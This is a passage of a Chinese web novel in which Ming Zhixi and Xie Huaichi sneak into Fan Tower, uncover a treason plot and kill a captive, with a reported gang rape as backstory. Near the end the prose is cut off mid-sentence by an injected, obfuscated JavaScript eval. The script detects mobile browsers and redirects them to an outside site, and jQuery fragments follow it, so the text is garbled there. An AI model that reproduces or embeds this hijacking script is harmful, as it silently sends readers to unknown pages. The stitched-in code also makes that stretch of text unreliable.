“你们在做什么?枝溪有没有一种可能,今晚是我的新婚夜?”明子晋皱着眉,满脸通红。 沈雪晴还盖着盖头,并未看见眼前的场景,替着明枝溪说好话:“你莫要怪她,是我让她来的,我实在是有些饿的发晕。” “是啊,如果我不来,雪晴就要饿晕了,所以你不能怪我,你得多谢我,况且我又没揭盖头。”明枝溪立马接上话题。 “那我谢谢你啊,现在可以走了吗?”明子晋带着僵硬的笑容道。 明枝溪知道这是他发火的前兆,连忙向外跑去,边跑边对着沈雪晴喊:“我明日再来看你!” 明枝溪一走屋内立马变得寂静起来,明子晋拿起竖放在床边的玉如意,掀起盖头,沈雪琴那张长相乖巧的脸出现在他的视线中。 明子晋双眼微微睁大,双眸一亮,仿佛面前坐着的是金银财宝一般,他有些羞涩的坐到一旁,低垂着脑袋道:“你今日真好看。” 沈雪晴被这突如其来的夸赞弄得脸颊泛红,好似也喝了酒一般:“那我以后是不是要改口了?” “你想叫我什么?”明子晋问。 "夫君?官人?"沈雪晴羞涩的倒在他的怀中,“你喜欢什么我叫什么。” 明子晋低下头看向她,温热的唇覆了上去,轻柔的抱着沈雪晴,生怕弄疼她。 池塘中的鲤鱼戏着水,水花层层飞溅着,猛烈的雨水忽然拍打在水面,两只鲤鱼纷纷朝着池塘深处游去。 —————— 第二日清晨,大街上不知怎么了吵吵嚷嚷的,明枝溪不耐烦的睁开眼,一脸怨气的朝着围墙处看去。 她缓慢的挪下床,揉着眼角往外走问道:“外面什么事情啊?这么吵?” 小玉激动的走来解释:“是前线战报!谢将军胜了,契丹使者不日便要前来京中谈和呢!” 明枝溪朝着天打着哈欠,语气不清道:“我怎么感觉这么耳熟呢?” “姑娘说什么?”小玉疑惑问。 明枝溪摇了摇头:“罢了,你们来帮我梳洗吧。” 刚换完衣服,门外便传来脚步声,明枝溪激动走出,见着了沈雪晴,她正蹲在地上摸着春雪的脑袋。 春雪十分享受的躺下,时不时用它的小爪子扒拉沈雪晴,明枝溪缓缓靠近:“你也喜欢我这猫儿?” “你什么时候养的,我都不知道。”沈雪晴抬起头看向明枝溪,手还在不停的抚摸着。 “就前几日,听她们常说新婚前莫要与新娘子见面,不然会分走婚后福分,所以我不敢来找你,也就没告诉你。”明枝溪自顾自的躺在躺椅上。 小玉搬来另外一张躺椅放在明枝溪身旁,沈雪晴这才松开了手,坐在躺椅上兴奋道:“你是不是要改口了?” “我?我为什么要改口?”明枝溪装作听不懂,眼神瞥向一遍的玉兰树。 沈雪晴笑嘻嘻的打趣:“你别装听不懂,其实你心里门清,快叫我一声嫂嫂。” “嫂什么嫂,你就只比我打了两岁!”明枝溪嘟起嘴看向沈雪晴。 “你叫一声听听嘛...”沈雪晴见对方无动于衷,只好拉起明枝溪的手摇晃着撒娇。 明枝溪顿时来了些逗弄的心思,转而问道:“你昨日又没有没有叫我哥夫君?” 沈雪晴被问的面色一红,用力甩掉明枝溪的手,装作生气的样子背过身去。 明枝溪仍然在挑逗着,略微向她那儿靠近了些,手伸向她的腰间。 一阵痒感传来,沈雪晴被逗的哈哈大笑,不停的用手去阻挡:“好了,我的好枝溪,不要再逗我玩了,不叫我嫂嫂了行不行。” 明枝溪收回了手,在自己的位置上躺好,看向天空飞翔的鸟儿。 “那我问点别的。”沈雪晴好不容易才缓过劲儿来,心中又忽然洋溢起一颗八卦心,“你与谢世子?” 明枝溪拿过放在一旁的糕点塞进她的口中:“你不要问这些没用的了。” “这哪里没用了。”沈雪晴将糕点尽数咽下,拿起放在一旁的茶水喝着。 “就是没用。”明枝溪侧过身不再看她。 “你不是一向看不起他吗?我记得你常说他只是一个花花架子。”沈雪琴靠近了些。 明枝溪感受到后方伸过来的手,急忙转过身抓住,十指相扣:“这件事情倒也不是难以启齿,只是说来话长,我不太好说。” “那你就把事情长话短说,好不好说都好说了。”沈雪晴紧紧抓住她的手。 一时间明枝溪还真抽不出,掌心略微出汗,有些油腻腻的,她撅起嘴思考了一番道:“就是我以前和他认识,然后我忘记了,现在想起啊来了。” “我的天菩萨,你还真是一点都不细说。”沈雪晴无奈的松开了手,拿出帕子擦拭汗水。 “你不是让我长话短说吗?”明枝溪也拿着帕子擦拭着,腰间的双鱼玉佩在阳光下发出耀眼的光芒。 沈雪晴很快便注意到了那枚玉佩,手指指向明枝溪,语气变得兴奋:“我的天呐,你真与他私定终身了?” 明枝溪:? “我就知道那些下人没有蒙骗我,这你都不告我了?不是好姐妹花了吗?” 明枝溪回复着:“什么姐妹花,你不是我嫂嫂吗?怎么下人什么都跟你讲?” “因为我好说话呗,现在承认我是 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“诶,知道了。”沈雪晴一口答应下来,边走边回头对着明枝溪说,“晚上再来找你唠会儿,你且偷闲吧。” 明枝溪笑着点点头,目送她离开,沈雪晴刚走,玉兰树上方便出现了一名暗卫。 自从当初当着她们的面杀了两人以后,明枝溪是藏也不藏了,她望向那名女子,撇了撇头让其下来,明枝溪手中拿着茶盏,用盖子刮去茶盏中浮起的茶叶,喝了一口。 尔苗从上方越下,径直走向明枝溪前方行礼道:“前些日子主子让人跟踪的那人没动静了。” “什么叫没动静了?”明枝溪蹙着眉问道。 “淮王殿下失踪是最后一封情报,随后便一封情报也没有了。”尔苗额头上冒着细腻的汗珠,眉眼中皆是慌张。 “这件事交给我,最后报信地点是哪?”明枝溪面上看着十分冷静,可心中已有隐隐猜测,手中的茶盏略微摇晃着。 “樊楼。” 又是樊楼?明枝溪心中一沉,心里想着。 “知道了,这几日你们再调查一下那些人的去向,若是活着就再好不过了,可若是..便与青禾她们葬在一起吧。”明枝溪不忍面对事实。 “你先走吧,我这几日会解决。” 尔苗点点头,神色担忧的深深望向明枝溪:“嗯,主子万事小心。” “知道了。”明枝溪将茶盏放在桌上,手依旧颤抖着,险些掉落在地。 她说完,尔苗便一跃而起,消失不见,明枝溪心事重重走进屋内,结合睡醒时听到的消息,忽然眸光一亮。 拨开层层迷雾,事件清晰的展现在明枝溪的脑海中,三年前也是如同今日这般,听闻谢二将军胜仗,可人却迟迟没接到班师回府的信。 契丹派出使者谈和,可不知为何却死在了京中,于是便发生了后来的无芦村惨案与谢二将军战败的事情。 这次还会这样吗?明枝溪想着,故技重施,这幕后之人生怕人发现不了他的存在吗?他这样做的目的是什么? 明枝溪站在屋内书案前,写下一封信,从头上拿出鸟哨吹响,小白早已经冷不丁的站在窗框上‘咕咕’叫着。 明枝溪将信绑在它的爪子上,抚摸了它的头道:“不好意思啊,刚刚想事情想得太入迷了,没发现你,将这封信交给谢世子。” 小白歪着头‘咕咕’一叫,随后飞向空中消失在远方。 明枝溪朝着府门外跑去,路上遇到了正准备寻她的沈雪晴,她叫住明枝溪问:“你做什么去?我有事找你。” 明枝溪停下语气稍快:“晚上说,我有事。” 话音落下时,人已经跑远了,沈雪晴疑惑的看向她的方向,挠了挠头。 不出一会儿明枝溪站在怀惜楼门外,老金头正抽着焊烟,见她着急赶来问道:“诶呦,这是怎么了,这么着急?” 明枝溪停下脚步,大口喘着气问道:“你有门道让我去樊楼调查吗?” 老金头的手抖了抖,烟灰掉落在地,他更加疑惑发问:“去樊楼调查做什么?你惹上了什么事情吗?” 明枝溪不愿牵扯老金头,摇了摇头:“不是我,我有个朋友她惹的。” “诶呦,这事儿...”老金头的语气低沉。 “办不了吗?”明枝溪担忧的问,“若是为难便罢了,我再找人就是了,没事。” 老金头缓缓吸了一口烟,吐出一口白雾:“嗯,这事你找对人了!” “好吧..啊?”明枝溪诧异的喊着。 “怎么?不相信我?那掌柜的还欠我一份人情呢,想必让你们进去随意走动,应当不成问题。”老金头骄傲的抬起头。 “太好了!我就知道你能行!”明枝溪眉飞色舞,又是帮老金捏肩又是捶背的。 “只不过...”老金头微微眯起眼,面色沉重。 明枝溪捏肩的手顿了顿,迟疑一会儿后开口:“只不过什么?” 22. 第22章 樊楼 老金嘿嘿笑着,眯起眼转头看向明枝溪,大拇指与食指相互摩挲着:“缺了点这个。” “银子?”明枝溪蹙着眉问。 “对喽,人情是有点儿,但是不够啊。”老金意味深长的转过身,抽了一口焊烟。 “需要多少?”明枝溪手不自觉摸了摸腰间的荷包,里面的银子已经所剩无几了。 她懊恼的想着:早知道当时在赌坊就不装老大了。 “不多,只需要一百两。”老金头伸出手掌在空中比划着。 明枝溪额角渗出汗水,表情平静却无奈,手在荷包中摸索着,最终摸出了一张皱皱巴巴的百两银票。 她交给老金头,老今天结果后猛地站起身问:“你到底是什么身份,家里人不宠爱你还能给你一百两?” 明枝溪支支吾吾不知如何开口,在老金头的对视下败下阵来:“好吧好吧,我之前是骗你的,对不起。” 老金头摸了把白花花的胡须,点点头:“我知道你是骗我的,我只想知道你究竟是什么身份,这样我才好办事儿,你说是不是。” 明枝溪想起樊楼那奇怪的破规矩,无奈道:“我是丞相府嫡女。” “啊?”老金头不可置信的大喊一声,周围的群众纷纷侧过头望来,老金头急忙捂住自己的嘴小声开口,“你莫要拿老夫开玩笑了,明姑娘端庄谦和,岂是你这种人能比的。” 明枝溪觉着右眼睑疯狂的跳动着,耐心的解释道:“我真是...” “你可有什么能证明的?”老金头神秘兮兮的开口。 明枝溪思索一番,身上还真没有什么东西能证实自己的身份,无奈的摇摇头叹气。 正想再解释一番时,谢槐池匆匆赶到,不知两人在聊什么开口问:“你们干嘛呢?” 明枝溪双眼一亮,拉过谢槐池对着老金问:“人证行不行?” “呃..你们都是朋友说话不作数的,别又你一言我一语的哄骗我。”老金头撇过头去,撅起嘴,有些恼火。 明枝溪踮起脚尖对着谢槐池耳语:“哥哥,你有没有什么能证明自己身份的东西。” 谢槐池见她踮脚费力,索性弯下腰:“有是有,但是要这个做什么。” 明枝溪顿时觉着信心大涨,双手叉着腰说道:“老金!这位是开国侯府谢世子,你信也不信?” 老金头默不作声,双手摊开放在两人面前,甩了甩手:“证据呢。” 谢槐池从怀中拿出一个腰牌,放在老金头的手掌中,上面赫然写着‘开国侯’三个大字,谢槐池一脸蒙圈问:“怎么了?这东西有用吗?” 老金头本是闭着眼,接过腰牌睁开眼一看,手中的腰牌顿时变成一块烫手山芋,老金头双手颤颤悠悠的交还给谢槐池:“我信了。” 明枝溪骄傲的抬着头问老金头:“那你相信我是丞相府嫡女了吗?” 老金头点点头,又摇摇头:“真没想到传闻是假的,你怎么这么凶悍,想之前教训我那不孝顺的儿子时,就一副打打杀杀的模样。” 明枝溪顿时萎下来,窘迫的挠了挠头开口道:“人都是双面的,在你们眼里的贤良可不是真正的我,做戏罢了,做戏罢了。” 谢槐池忍不住笑出声,眼神耐人寻味看着向明枝溪。 明枝溪瞥眼看向谢槐池,正巧看见他正在笑自己,像是一只炸毛的猫上去又抓又咬。 老金头沉默一瞬,紧接着摇摇头走向街道前方,摆了摆手示意他们跟来。 明枝溪立马拉着谢槐池跟上,两人在后方小声的聊着。 “这就是你说的去樊楼搜查的门道?”谢槐池凑近明枝溪道。 “不然呢,我都不认识几个樊楼里的人。”明枝溪也凑近些。 “老金头能行吗?”谢槐池更加小声的问。 “不知道,我交了一百两的银票呢,应该能行吧。”明枝溪回复。 老金忽的停下身转头看向两人,语气里有些不耐烦:“你们叽叽喳喳要聊到什么时候?我既然收了你们的钱肯定能办到。” 说罢,他又转头继续走起来,明枝溪窘迫的低垂着头默默跟着,谢槐池努力的憋着笑,腮帮子鼓鼓的,两人就这样默默跟在老金头屁股后面,一声不发。 不出一会儿便走到了樊楼门外,明枝溪正看这遥远的路途眼冒金星,老金头却还是自顾自向前方走去。 明枝溪虽是不解,但还是疑惑的跟上老金开口问:“樊楼入口不就是这儿吗?怎么还要往前走。” 老金默不作声,将烟杆背在身后,沉默的向前走去,明枝溪见他没有回答还是选择相信。 三人走着走着,老金忽的停住,明枝溪险些撞上,被谢槐池一把拉住。 老金双脚在地上摸索着,忽然面前的地上出现一个密道,老金缓缓向里走去,这是一个只能容纳一人身通行的密道。 明枝溪一脸震惊的走进去,手抚摸着冰凉的墙面,谢槐池一脸无所谓,只是默默跟在明枝溪身后,看着她的一举一动冷不丁的笑笑。 “你笑什么?”明枝溪边走边问。 “没有啊。”谢槐池双手盘放在腹前。 “你方才分明就是笑我了。”明枝溪停下脚步挡住路。 “我觉着你可爱,所以笑了笑,小观音不要生气了,快些走吧。”谢槐池嘴中含着笑道。 明枝溪觉着他说的有道理,一转身面前的老金头消失在原地,瞬间慌了神:“老金不见了。” “什么?怎么可能?”谢槐池转过头看向身后的入口,不知何时已经关闭了,“入口关闭了,只能向前走了。” 明枝溪点点头,继续向前方走去,不知走了多久,终于是看见了点点亮光。 一道石门出现在明枝溪眼前,明枝溪思考一番后,学着老金头的样子,双脚在地上摩擦着,忽然听见了一道细微的声响。 门缓缓打开,冷气顺着通道涌出,拍打在因为燥热而满脸通红的明枝溪身上,她缓缓探出头左右看了看,确认没事后才走进这个地窖。 地窖中摆放着许多冰块与酒水,气温低到在里面哈气都能吐出白雾。 谢槐池紧随而出,两人站在地窖中相互沉默了一会儿,明枝溪打破平静说:“老金不知去哪了,这处应当只是个地窖。” 明枝溪浑身不受控制颤抖着,今日觉着外头热,她便只穿了薄薄一层,这时在地窖中变真是如坠冰窟。 谢槐池蹙着眉,神情有些凝重,看向出口处道:“我们先上去吧。” 明枝溪点点头,往上走去,气温缓缓回正,明枝溪松了口气道:“差点冷死在夏季。” 出了地窖,上方是一处由木头搭建而成,及其简陋的小房子,明枝溪将地窖木板打开一条缝,眯着眼向外看了看。 一名小厮正在搬着酒水,明枝溪放下木板对着谢槐池摇摇头,低声说道:“现在还不能出去,外面有人。” 谢槐池听后点着头,忽然打岔道:“我们这样偷鸡摸狗真的好吗?你不是交了银票吗?” “没办法,跟丢了。”明枝溪耸耸肩尴尬的挠挠头,对着谢槐池笑笑。 空气中有些闷热,明枝溪再次打开木板向外看了看,那小厮早已经走了。 明枝溪猛地打开地窖门,走了出去,呼吸着新鲜空气,四周都是一些酒坛,没有什么特别的,谢槐池将大门打开一条缝,向外看去。 只见外边空无一人,谢槐池这才将大门打开,两人走出门,不知身处何方,面前是樊楼的另一侧。 明枝溪一时间不知往何处走,对着谢槐池说道:“我们分头行动。” 谢槐池点了点头,正要行动,脚步却顿了顿,从腰间掏出一柄小刀递给明枝溪,语气满是担忧:“这个给你,凡是先保护好自己,不要莽撞。” 明枝溪有些疑惑,结果短刀问道:“你为何总是在身上带些防身利器?” “你都说防身利器了,自然是防身喽。”谢槐池眉眼弥漫着笑意,十分魅惑。 明枝溪点点头说道:“那你也小心些。” 谢槐池歪着头:“好,我想你也会保佑我的,小观音。” 他说罢便转身挥手走去,挺直的背影渐渐缩小,明枝溪经谢槐池这一逗,面上没了凝重,满身轻松的朝着樊楼走进。 明枝溪挑了个窗户翻进去,是一间无人的雅座,门外自然也无看守,她装作常来的熟客向着楼上走去。 樊楼共十八层,之前两人是在三楼吃的饭,这次明枝溪把目光放在十层往上,她一口气爬了十楼,站在楼梯上扶着围栏气喘吁吁。 一名穿着妖艳的婢女缓缓走来,瞥了一眼明枝溪后狠狠的翻了个白眼,向着楼下走去。 明枝溪疑惑不已,但还是镇定自若的走出,探索着,犹如无头苍蝇一般的乱窜。 在下方并无发现,明枝溪想着:线索都在楼上?到底是几楼? 她想着往楼上走去,每层都并无不同,直到十六楼出现了些许不同,既然有人在来回看守巡楼。 明枝溪不动声色贴着墙站着,见巡逻队要往这边走有些慌乱,一时间不知如何是好。 “谁在那?”一声怒吼传来,一名魁梧男子慢慢朝着楼梯口靠近,他猛地探出身,尖锐的剑指向半空。 “有人吗?”另一名男子缓缓走来,看着面前打开的窗户,他走上前探出头左右张望,随后缩回脑袋,将窗户关上。 他对着屋内的众人说道:“都别看了,风大把窗子吹开了而已!都给我用点心巡逻!” 众人大喊道:“是!”随后便又开始到处巡视。 明枝溪由窗框上一跃而下,稳稳站在屋檐上拍了拍手,随后沿着墙壁走着,身后便是空无一物的天空,若是脚下一滑摔了下去,变是万劫不复。 她眉心紧皱,缓缓走着,时不时停下,打开包房的窗户,看看有无线索,最终在一间不起眼的房间,明枝溪闻到了一股令人作呕的气味。 她缓缓蹲下身,手止不住的颤抖,一时间没有打开窗户的勇气,她半跪在那儿,不知在思考什么。 忽然有人拍了拍她的肩膀, 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两人对视点点头,向前走去,打开房门,屋外空无一人,明枝溪走出门打量着周围的环境:“这儿是那群巡逻队的休息处?” 谢槐池点点头,蹙着眉道:“看起来是的,接下来怎么办?” “搜一搜看看有没有线索。”明枝溪话音未落,便早已在屋内四处搜寻着。 谢槐池沿着墙壁探索着,忽然摸到了一个可以摁下去的暗格,他看向明枝溪喊道:“快来,这里有东西。” 明枝溪转头看向谢槐池,谢槐池用力摁下后,一间房门缓缓的挪动打开。 明枝溪走了进去,里面就放着一张书桌与一把椅子,书桌上放着一排排信纸,明枝溪随手拿起,沉默片刻后道:“这是王德才的据点。” “王德才?”谢槐池手中也拿着信。 看了一阵后两人一同沉默了,不久后明枝溪严肃开口道:“王德才与契丹勾结,通敌叛国!” 门外传来一阵声响,两人敏锐的察觉到,紧紧贴在墙边看向屋外,一名身材在那一群人当众略显矮小的男子走了进来,解着裤腰带朝着茅房走去。 忽然他察觉到这间多出来的房间,疑惑走来,口中嘀咕着:“嘿?这什么时候多了间屋子?” 当他走进屋内时,明枝溪不知碰到了什么机关,门关上了,那名男子转过身便看见了两人正虎视眈眈盯着自己,急忙喊道:“你们是谁?来这里做什么。” 明枝溪紧握短刀,声音低哑,仿佛一头猛兽:“关得正好,我有事情要问你,回答我你活,不回答你死。” 那名男子猛地跪下,□□流下不明液体,他哭着磕头道:“姑奶奶饶了我吧,我就是一个帮工,不关我的事啊。” 谢槐池蹙着眉间,不耐烦的再叙述一遍:“说即活,不说即死,听清楚了?” “听清楚了,听清楚了,你们问吧,我招,我全招。”那男子一把鼻涕一把泪的边磕头边喊道。 “隔壁屋子的姑娘们是怎么回事。”明枝溪语气平静,却仿若冰锥。 “是自杀的,她们是自尽的!” 明枝溪一巴掌扇上去,那名男子的一颗牙瞬间崩落在地,他捂住嘴,含糊不清的说:“是,是老大,她们跟踪老大,老大便抓了她们关在这。” “可那些女子烈的很,怎么都不肯招供,所以让我们..让我们糟蹋她们...可她们本就性子烈,这样一来更疯了,不知她们从哪拿出的鹤顶红,便都服毒自尽了。” 明枝溪握着短刀,怒目圆瞪,额角上青筋暴起,步伐沉重,每踏一步便发出闷沉的声响,谢槐池急忙拦住她,紧紧握着明枝溪手,对她摇摇头。 谢槐池目光凌厉的瞥向那男子,问道:“你老大可是王德才?” “是是,有事情你们找他,可别来找我啊。”那名男子汗毛直立,原始恐惧使他默默向后退去。 “王德才住哪儿你可知道?”谢槐池尽量使自己的声音冷静些。 “就住在郊外的一处宅子,那地方没什么人去,周围也就那一处宅子,很好找的!大侠,爷爷,你放过我,求求你放过我!”那男子说着说着便又开始掩面哭泣。 “她们是自尽的啊,跟我没关系!都是王德才的错,跟我没有关系,跟我没有关系!” “疯了?”谢槐池蹙着眉看着那名男子。 只见他时不时躺在地上,时不时又站起看天,是不是有跪地乞讨。 明枝溪不多废话,见他没了利用价值后,沉默的走向前,干净利落的将短刀扎进他的喉管处。 短刀拔出,鲜血飞溅在明枝溪衣衫上,看上去尤为刺眼。 门外再次传来脚步声,尤其的多,来不及多想,谢槐池喊道:“快走,来不及了。” 明枝溪看向窗户一跃而出,伸出手抓住谢槐池的手,窗口有些小,迟迟拉不出谢槐池,脚步声缓缓靠近,愈发响亮起来。 “你走啊!” 23. 第23章 死去多时 “走什么走,要走一起走。”明枝溪奋力拉着谢槐池试图将他拉出。 地上那名男子的血汇聚成一滩,正往门缝外缓缓流去,眼看着就要流出。 “谁在里面!”外头的男子喊道。 只听一阵急促的脚步声传来,门缓缓被拉开,那名男子看着地上刚死去的男子,冲着身后众人喊道:“封锁樊楼!一只苍蝇都别放出去。” “你去查查近日的登记。”那名男子举起手下令,“看看有无可疑之人!都给我去查!” 一众人一窝蜂散开,明枝溪扯着谢槐池躲在窗框旁,两人紧紧相贴着,待到里头的男子走远,明枝溪才松开紧张冒汗的手。 “呼。”明枝溪方才深深憋着一口气,终于得到释放,“你以后别再说那些胡话,我怎么可能丢下你。” 谢槐池忽的笑出声来:“没想到小观音力气这么大,还真是保佑我了。” “都别卿卿我我了,赶紧走吧。”老金头不知何时出现在两人身旁,一脸鄙夷看向两人。 明枝溪虽有诸多问题想问,却还是将刚想说出口的话咽了回去,堪堪站起。 谢槐池站起身,拍了拍身上沾着的灰,顺手也帮明枝溪拍了拍,虽然明枝溪的衣裳上沾满鲜血,早就已经不必在意灰尘。 老金头看得闭眼直摇头道:“快跟我来,走后门。” 说罢他便跑了起来,腿也不瘸了,身子骨也硬朗了,两人跟在后头。 “后门?这樊楼究竟有多少门?”明枝溪边跑边问。 老金头没有接话,不顾一切向前跑着,抓住屋檐边向下一跃,稳稳落在下方。 谢槐池目瞪口呆,满心疑惑,对着明枝溪点头,跟上老金头的步伐也跳了下去,明枝溪见谢槐池下去了,紧蹙着眉一鼓作气跃下。 她的脚堪堪落在屋檐边沿,重心不稳,使劲摇晃着,谢槐池伸出手抓住她,将明枝溪拽了回来。 两人继续跟着老金头,不出一会儿便从十六楼到了一楼,老金头左右环顾一周,确定了没人才向前走去,他蹲下身去,手指轻轻扣响草地下的木板。 门忽然被打开,老金头跳进去,摆摆手示意两人跟上,明枝溪站在那儿气喘吁吁,谢槐池拉着她跟上老金的步伐。 到了地道下方老金头便没了紧迫感,从腰间拿出烟斗抽起来,吐出的白雾在地道中持久不散,他沉默走着,忽的说道:“我知道你们有很多想问的,现在问吧,那些羊崽子不知道这条密道。” 明枝溪依然没缓过劲儿来,扶着墙缓步走着喘着粗气。 谢槐池搀扶着她,看向老金头的眼神沉了几分:“你究竟是什么身份?” 老金头哈哈笑着,不紧不慢的抽了口旱烟,再缓缓吐出:“我当然是这樊楼的主人,不然我为何知道这密道。” 明枝溪听了强忍着不适问:“那为何不直接带我们进去,而是偷偷摸摸走密道?” “因为现在的樊楼不属于我。”老金头垂下头,似乎是有些遗憾,“早知道会遇见你们我便不卖了。” “卖?”谢槐池蹙着眉不解问。 “当时有一位男子,想必是身世不凡,他找到我,说他是宫里的人,想买下这樊楼,当时樊楼可不像现在这般火热,冷清的很。” “于是我便想,他要买就买吧,随后以一百两黄金的价钱成交了,但是我并没有将这个密道告诉他,谁知道以后我会不会有什么急事要来樊楼。” “那你还收我一百两银票!”明枝溪恼怒地说着,紧接着伸出手讨要,“我这个月就剩这么些了,你既然那么有钱还我!” 老金头转过身对着明枝溪嘿嘿笑着:“谁会闲钱多呢,况且我也帮了你们啊!这银子就给我吧。” “你腿不瘸?”谢槐池想起他方才健步如飞的样子接着问,“还会武功?” “先说好银子我不会还,我也是真真切切的帮你们了!”老金头说罢转过身抽着旱烟,一言不发。 明枝溪无奈撇嘴道:“行,不还就不还吧,以后记得多请我们吃饭。” 老金头听了这才笑出声,手捋着胡须道:“藏拙嘛,你们不也是这样,一个在外头装贤良,另一个又在外头装纨绔。” 明枝溪满脸通红的反驳道:“我哪有装贤良?!” 老金头摇着头:“嘿呀,你方才抹人脖子时怎么不说这句话。” “行行行,你说话有理依你。”明枝溪终于是缓过劲来,“所以其实你是一个江湖大侠,在陪着我们玩过家家呢。” 谢槐池冷不丁笑出声,在这狭小的通道里格外清晰,他憋着笑开口:“一个老装货和两个小装货。” “有什么好笑的..”明枝溪也憋着笑,心中笑着:这么严肃的场景为什么要说这种话。 老金头倒是不装,放肆大笑:“哈哈哈,谢世子这话说的好,可明姑娘那话真是差矣,我并没有陪你们胡闹,我之前对你们可是真心实意的!” “谁曾想你们两个小兔崽子都在骗我!你们都骗我了我逗逗你们不过分吧。” 明枝溪忽的想到来时老金头消失不见,结合他说的这番话无奈道:“所以你之前莫名消失是逗我们玩呢..” 老金头沉默走着,时不时捋捋胡须,良久后才道:“别的一概不论,且说你们究竟是为了查什么?” “你先说说买你楼的人是谁,如果与我们要找的人有关联,我们自然会说,可若是并无关联,我想我们说了也无用。”谢槐池悠悠答道,时不时躲避着头顶的木梁。 “还真是打不了马虎眼,买走我楼的人是淮王赵康时。”老金头眼里带着嘲弄的笑答。 谢槐池似乎早有预料,并未露出诧异之色。 明枝溪听到这名字,眉间不自觉一蹙,思考一番后开口道:“先去找王德才,郊外有一处院子,周围没别的房子,你可知道在哪?” “走着吧。”老金头看出二人似乎有芥蒂,也不放在心上,带着两人走出地道。 重见天日时阳光正烈,刚出地道便觉得身上火辣,阳光直直照射在三人头顶。 老金头用手挡住阳光问:“要不找辆马车?走过去想必要些时间,不被累死,也要晒死。” 谢槐池观察了四周,发觉距离开国侯府竟然不足百米,周围的行人纷纷望向明枝溪,谢槐池走上前挡住明枝溪,对着老金头道:“先去我府上,此地不宜久留。” 三人由侧门走进,小厮还是那两个小厮,只不过多了个刘闻等着。 刘闻见谢槐池带着两人走来,目光不禁望向他身后,衣衫上沾满暗红血渍的明枝溪,另外两个小厮自然也是,只不过被刚一抬头,便被那血渍吓得不敢再抬起头。 谢槐池眼神锐利看向刘闻,刘闻只觉得身上汗毛耸立,忙不迭低下头不再看去:“世子,需要准备衣衫吗?” “此事我来办,你去备三匹马。”谢槐池语气冷漠答道。 刘闻听后点点头便走向远处,而老金头听了在后方直摇头,打趣道:“啧啧,谢世子好威风啊。” 两名小厮眼神交流着,纷纷露出胆怯的神色,都以为那老金头得遭殃了。 不料谢槐池话锋一转:“枝溪你先随我来,老金你在此等候,我们很快便来。” 老金头带着笑看向两名小厮,眼神挑衅一般:“你们去吧,我正好休息会儿。” 明枝溪默默跟在谢槐池身后走着,待到走远后才开口:“你哪来的衣裳给我换?” 谢槐池嘻嘻笑着,眼神明亮:“走在街上看见适合你的衣裳便会买下,我可是等着你穿给我看呢。” 明枝溪脸一红,闭上了嘴。 两人一走老金头便看向那两名小厮:“你们谁去给我搬张椅子来。” 其中一名小厮疑惑地抬起头看他,开口说:“你以为你谁啊,还给你搬椅子。” “嘿!你个不懂事的,看我不教训你。”老金头说着撸起袖子便向前走去,狠狠的将小厮摁在地上揍了一顿。 随后像是泄了愤,回归平静:“哼,两个小年轻给我吃一肚子气,还好有你给我欺负欺负。” 另一名小厮见同伴被揍,将头埋得更深了些。 —————— 谢槐池房内明枝溪坐在椅子上等着,环顾四周,这间屋子里头除了床与这张桌椅便没了其余东西,倒是还有个书架子,只是上头并没有多少书籍。 明枝溪趁着谢槐池去取衣裳,站起来做贼般自顾自看起来,架子上摆着些膏药,多是治疗外伤,明枝溪的目光落在了一款雪白的小罐子上。 她踮起脚拿起,打开一看竟然是一罐桃花粉,想起之前谢槐池在脸上打的那一层薄薄的粉,不禁小声笑起来。 门外传来沉稳的脚步声,明枝溪慌忙地想将那罐桃花粉放回去,踮起脚放了好几次都放不上去,最终只好往上方一丢,随后急忙坐好,佯装什么事情都没发生过。 谢槐池推开门走进,手中拿着两套衣裳,眼神望向架子上正在来回滚动的桃花粉,忍不住笑出声:“你要是想看,你便正大光明的看,我又不会怪你。” 明枝溪脸涨得通红:“我只是随便看看,没有别的意思。” “那罐桃花粉是我自制的,美容养颜,但是还没研究透彻,待我研究明白了再给你送去。”谢槐池走近了些,将一套衣裳放在桌上,手中举起另一套衣裳。 “你看看这套怎么样,这套是粉蓝,那套是粉白,你喜欢哪个颜色?。” 明枝溪端详了片刻,再扭过头看看桌上的那套,开口问:“你希望我穿哪一套?” 谢槐池思考一番后道:“我都想看。” “呃,那我今日穿你手上那套,过些日子再穿桌上那套怎么样?”明枝溪微笑着说。 “可以。”谢槐池将衣裳递给明枝溪,在原地等待着。 明枝溪接过衣裳后迟迟没有行动,眼神看向谢槐池有些为难:“你要不..出去一下?” 谢槐池好像才反应过来屋内没有屏风,尴尬地笑着向外走去。 见谢槐池走向门外,并且关好了门,明枝溪才开始换衣裳,不出一会儿便向外头喊道:“我换好了!” 谢槐池满心期待走上前打开门,明枝溪如花似玉的脸庞先出现在他眼里,随后才是那衣裳,原本鲜艳明亮的衣裳与明枝溪相比显得黯淡无光。 明枝溪扒拉着广袖与腰间的布料道:“就是有些小了,要是大些更好了。” 衣裳近看之下确实是有些小了,可是却显得明枝溪的身材更加好了。 谢槐池耳根微微泛红,缓缓走进去关上了门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567720|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,明枝溪见状缓缓后退着,最后被床榻边沿一绊,直直坐在了床上。 明枝溪慌张地喊道:“呃..哥哥!矜持些,有些事情不如等成亲后来的实在!” 谢槐池好似没听见般,那张摄人心魄的脸缓缓靠近明枝溪。 明枝溪接受命运似的紧紧闭上双眼,面颊上传来冰凉的触感,明枝溪缓缓睁开眼与谢槐池四目相对。 只见谢槐池嘴角微微翘起,眼神直勾勾的看着她,耳根由粉红转而变为深红。 明枝溪脸红的如同夕阳般,迟迟说不出话。 谢槐池笑着往后退去,打破这段宁静:“走吧,老金等着呢,你的衣裳洗完了给你送回去,或者放在我这。” 明枝溪羞涩的站起身,双手垂放在腹前,手指头互相搓着,悠悠转口:“放你这吧。” 两人向着侧门走去,刘闻牵着马耐心等待着,老金头独自站在一旁闷闷的抽着旱烟,见两人来了才缓和些。 谢槐池走上前翻身上马道:“老金你带路。” 